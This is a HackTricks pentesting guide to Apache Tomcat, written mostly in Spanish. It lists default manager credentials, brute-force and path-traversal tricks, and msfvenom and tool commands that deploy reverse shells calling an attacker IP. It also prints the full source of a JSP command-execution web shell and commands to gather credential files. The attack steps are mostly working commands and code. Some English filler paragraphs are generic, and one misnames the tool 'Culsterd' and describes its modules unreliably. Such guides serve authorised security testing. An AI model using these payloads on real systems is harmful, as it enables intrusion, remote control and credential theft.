hacktricks/network-services-pentesting/pentesting-web/tomcat.md

19 KiB

Tomcat

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. Pruébalo gratis hoy.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Descubrimiento

  • Normalmente se ejecuta en el puerto 8080
  • Error común de Tomcat:

Enumeración

Versión

curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat

<html lang="en"><head><META http-equiv="Content-Type" content="text/html; charset=UTF-8"><link href="./images/docs-stylesheet.css" rel="stylesheet" type="text/css"><title>Apache Tomcat 9 (9.0.30) - Documentation Index</title><meta name="author"

Localizar archivos del administrador

Es interesante encontrar dónde se encuentran las páginas /manager y /host-manager ya que podrían tener un nombre diferente. Puedes buscarlos mediante un ataque de fuerza bruta.

Enumeración de nombres de usuario

En algunas versiones anteriores a Tomcat6, era posible enumerar usuarios:

msf> use auxiliary/scanner/http/tomcat_enum

Credenciales predeterminadas

La ruta más interesante de Tomcat es /manager/html, dentro de esa ruta puedes cargar y desplegar archivos war (ejecutar código). Pero esta ruta está protegida por autenticación básica HTTP, las credenciales más comunes son:

  • admin:admin
  • tomcat:tomcat
  • admin:<NADA>
  • admin:s3cr3t
  • tomcat:s3cr3t
  • admin:tomcat

Puedes probar estas y más utilizando:

msf> use auxiliary/scanner/http/tomcat_mgr_login

Otra ruta interesante de Tomcat es /manager/status, donde puedes ver la versión del sistema operativo y de Tomcat. Esto es útil para encontrar vulnerabilidades que afecten a la versión de Tomcat cuando no puedes acceder a /manager/html.

Fuerza bruta

hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST tomacat-site.internal
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts <IP>

Vulns

Divulgación de trazas de contraseña

Intenta acceder a /auth.jsp y si tienes mucha suerte, podría revelar la contraseña en una traza.

Doble codificación de URL

Una vulnerabilidad conocida para acceder al administrador de aplicaciones __ es mod_jk en CVE-2007-1860, que permite la travesía de directorios con doble codificación de URL.

Para acceder al administrador web de Tomcat, ve a: rutaTomcat/%252E%252E/manager/html

Ten en cuenta que para cargar la webshell es posible que necesites usar el truco de la doble codificación de URL y enviar también una cookie y/o un token SSRF.
Para acceder a la puerta trasera también es posible que necesites usar el truco de la doble codificación de URL.

/examples

Los siguientes scripts de ejemplo que vienen con Apache Tomcat v4.x - v7.x pueden ser utilizados por atacantes para obtener información sobre el sistema. También se sabe que estos scripts son vulnerables a la inyección de scripting entre sitios (XSS) (desde aquí).

  • /examples/jsp/num/numguess.jsp
  • /examples/jsp/dates/date.jsp
  • /examples/jsp/snp/snoop.jsp
  • /examples/jsp/error/error.html
  • /examples/jsp/sessions/carts.html
  • /examples/jsp/checkbox/check.html
  • /examples/jsp/colors/colors.html
  • /examples/jsp/cal/login.html
  • /examples/jsp/include/include.jsp
  • /examples/jsp/forward/forward.jsp
  • /examples/jsp/plugin/plugin.jsp
  • /examples/jsp/jsptoserv/jsptoservlet.jsp
  • /examples/jsp/simpletag/foo.jsp
  • /examples/jsp/mail/sendmail.jsp
  • /examples/servlet/HelloWorldExample
  • /examples/servlet/RequestInfoExample
  • /examples/servlet/RequestHeaderExample
  • /examples/servlet/RequestParamExample
  • /examples/servlet/CookieExample
  • /examples/servlet/JndiServlet
  • /examples/servlet/SessionExample
  • /tomcat-docs/appdev/sample/web/hello.jsp

Travesía de directorios (..;/)

En algunas configuraciones vulnerables de Tomcat, puedes obtener acceso a directorios protegidos en Tomcat utilizando la ruta: /..;/

Entonces, por ejemplo, podrías acceder a la página del administrador de Tomcat accediendo a: www.vulnerable.com/lalala/..;/manager/html

Otra forma de evadir rutas protegidas usando este truco es acceder a http://www.vulnerable.com/;param=value/manager/html

RCE

Finalmente, si tienes acceso al Administrador de Aplicaciones Web de Tomcat, puedes cargar y desplegar un archivo .war (ejecutar código).

Limitaciones

Solo podrás desplegar un archivo WAR si tienes suficientes privilegios (roles: admin, manager y manager-script). Los detalles se pueden encontrar en tomcat-users.xml, generalmente definido en /usr/share/tomcat9/etc/tomcat-users.xml (varía entre versiones) (ver sección POST).

# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed

# deploy under "path" context path
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"

# undeploy
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"

Metasploit

Metasploit es una herramienta de código abierto ampliamente utilizada para realizar pruebas de penetración en sistemas y redes. Proporciona una amplia gama de módulos y exploits que pueden ser utilizados para identificar y aprovechar vulnerabilidades en los sistemas objetivo.

Metasploit se utiliza comúnmente para realizar ataques contra servicios web, como el servidor Apache Tomcat. Tomcat es un servidor web y de aplicaciones ampliamente utilizado que se utiliza para ejecutar aplicaciones Java en un entorno de servidor.

Para realizar pruebas de penetración en un servidor Tomcat utilizando Metasploit, se pueden utilizar varios módulos y exploits disponibles en la herramienta. Estos módulos y exploits pueden ayudar a identificar y aprovechar vulnerabilidades conocidas en el servidor Tomcat, como la ejecución remota de código o la divulgación de información sensible.

Es importante tener en cuenta que el uso de Metasploit para realizar pruebas de penetración debe hacerse de manera ética y legal, con el permiso del propietario del sistema o red objetivo. El uso indebido de Metasploit u otras herramientas de hacking puede tener consecuencias legales graves.

use exploit/multi/http/tomcat_mgr_upload
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
msf exploit(multi/http/tomcat_mgr_upload) > exploit

MSFVenom Reverse Shell

El shell inverso de MSFVenom es una técnica comúnmente utilizada en pruebas de penetración para obtener acceso remoto a un sistema objetivo. Permite a un atacante ejecutar comandos en el sistema objetivo desde una máquina remota.

El shell inverso se crea utilizando la herramienta MSFVenom, que es parte del marco de Metasploit. MSFVenom se utiliza para generar payloads maliciosos que se pueden utilizar en ataques de hacking.

Para crear un shell inverso con MSFVenom, primero debemos especificar el tipo de payload que queremos generar. En este caso, utilizaremos el payload de shell inverso de Windows.

msfvenom -p windows/shell_reverse_tcp LHOST=<IP del atacante> LPORT=<Puerto del atacante> -f exe > shell.exe

Reemplaza <IP del atacante> con la dirección IP de la máquina desde la cual se realizará el ataque y <Puerto del atacante> con el número de puerto que se utilizará para la conexión.

Una vez que se haya generado el archivo shell.exe, se puede enviar al sistema objetivo utilizando diferentes técnicas, como ingeniería social o explotación de vulnerabilidades.

Una vez que el archivo shell.exe se ejecute en el sistema objetivo, se establecerá una conexión entre el sistema objetivo y la máquina del atacante. Esto permitirá al atacante ejecutar comandos en el sistema objetivo y obtener acceso remoto completo.

Es importante tener en cuenta que el uso de técnicas de hacking como el shell inverso de MSFVenom sin el consentimiento explícito del propietario del sistema objetivo es ilegal y puede tener consecuencias legales graves. Estas técnicas solo deben utilizarse con fines educativos o en pruebas de penetración autorizadas.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.11.0.41 LPORT=80 -f war -o revshell.war

A continuación, sube el archivo revshell.war y accede a él (/revshell/)

Enlazar y revertir la shell con tomcatWarDeployer.py

En algunos escenarios esto no funciona (por ejemplo, en versiones antiguas de sun)

Descargar

git clone https://github.com/mgeeky/tomcatWarDeployer.git

A reverse shell is a type of shell in which the target machine initiates the connection to the attacker's machine. This allows the attacker to gain control over the target machine and execute commands remotely. The reverse shell is commonly used in penetration testing to gain unauthorized access to a system.

To establish a reverse shell, the attacker needs to set up a listener on their machine and then exploit a vulnerability on the target machine to execute a reverse shell payload. Once the connection is established, the attacker can interact with the target machine's command prompt and execute commands as if they were physically present on the machine.

It is important to note that using reverse shells for unauthorized access is illegal and unethical. Reverse shells should only be used for legitimate purposes, such as penetration testing with proper authorization.

./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/

Shell de conexión

Un shell de conexión es una técnica utilizada en la pentesting web para obtener acceso remoto a un sistema objetivo. Consiste en establecer una conexión entre el sistema atacante y el sistema objetivo, permitiendo al atacante ejecutar comandos en el sistema objetivo de forma remota.

El shell de conexión se puede lograr utilizando diferentes métodos, como la explotación de vulnerabilidades en servicios de red o la inyección de código malicioso en aplicaciones web. Una vez establecida la conexión, el atacante puede ejecutar comandos en el sistema objetivo y obtener acceso a sus recursos.

El shell de conexión es una técnica muy poderosa en la pentesting web, ya que permite al atacante obtener un control total sobre el sistema objetivo. Sin embargo, también es una técnica peligrosa, ya que puede ser detectada por sistemas de seguridad y antivirus.

Es importante tener en cuenta que el uso de un shell de conexión sin el consentimiento del propietario del sistema objetivo es ilegal y puede tener consecuencias legales graves. La pentesting web debe realizarse siempre con el permiso y la autorización del propietario del sistema objetivo.

./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/

Usando Culsterd

Culsterd is a tool that can be used to exploit vulnerabilities in Apache Tomcat servers. It provides a set of modules that can be used to perform various attacks, such as information gathering, brute forcing, and remote code execution.

To use Culsterd, you first need to install it on your machine. You can do this by cloning the Culsterd repository from GitHub and following the installation instructions provided in the repository's README file.

Once Culsterd is installed, you can start using its modules to exploit vulnerabilities in Tomcat servers. For example, you can use the tomcat_enum module to enumerate valid usernames on a Tomcat server. This module uses a list of common usernames and tries to authenticate with each one of them using a default password.

To use the tomcat_enum module, you need to provide the target Tomcat server's IP address and port number, as well as the path to the list of usernames. Culsterd will then attempt to authenticate with each username and report back the results.

Another useful module provided by Culsterd is the tomcat_rce module, which can be used to execute arbitrary commands on a vulnerable Tomcat server. This module takes advantage of a vulnerability in the Tomcat Manager application to upload and execute a malicious WAR file.

To use the tomcat_rce module, you need to provide the target Tomcat server's IP address and port number, as well as the path to the malicious WAR file. Culsterd will then upload the WAR file to the server and execute it, giving you remote access to the server.

Culsterd is a powerful tool that can be used to exploit vulnerabilities in Apache Tomcat servers. However, it should only be used for legitimate purposes, such as penetration testing and security auditing. Using Culsterd for malicious purposes is illegal and unethical.

clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows

Método manual - Web shell

Crea index.jsp con este contenido:

<FORM METHOD=GET ACTION='index.jsp'>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
}  catch(IOException e) {   e.printStackTrace();   }
}
%>
<pre><%=output %></pre>
mkdir webshell
cp index.jsp webshell
cd webshell
jar -cvf ../webshell.war *
webshell.war is created
# Upload it

También puedes instalar esto (permite cargar, descargar y ejecutar comandos): http://vonloesch.de/filebrowser.html

Método Manual 2

Obtén una web shell JSP como esta y crea un archivo WAR:

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp

POST

El nombre del archivo de credenciales de Tomcat es tomcat-users.xml.

find / -name tomcat-users.xml 2>/dev/null

Otras formas de obtener credenciales de Tomcat:

msf> use post/multi/gather/tomcat_gather
msf> use post/windows/gather/enum_tomcat

Otras herramientas de escaneo de Tomcat

Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu infraestructura tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. Pruébalo gratis hoy.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥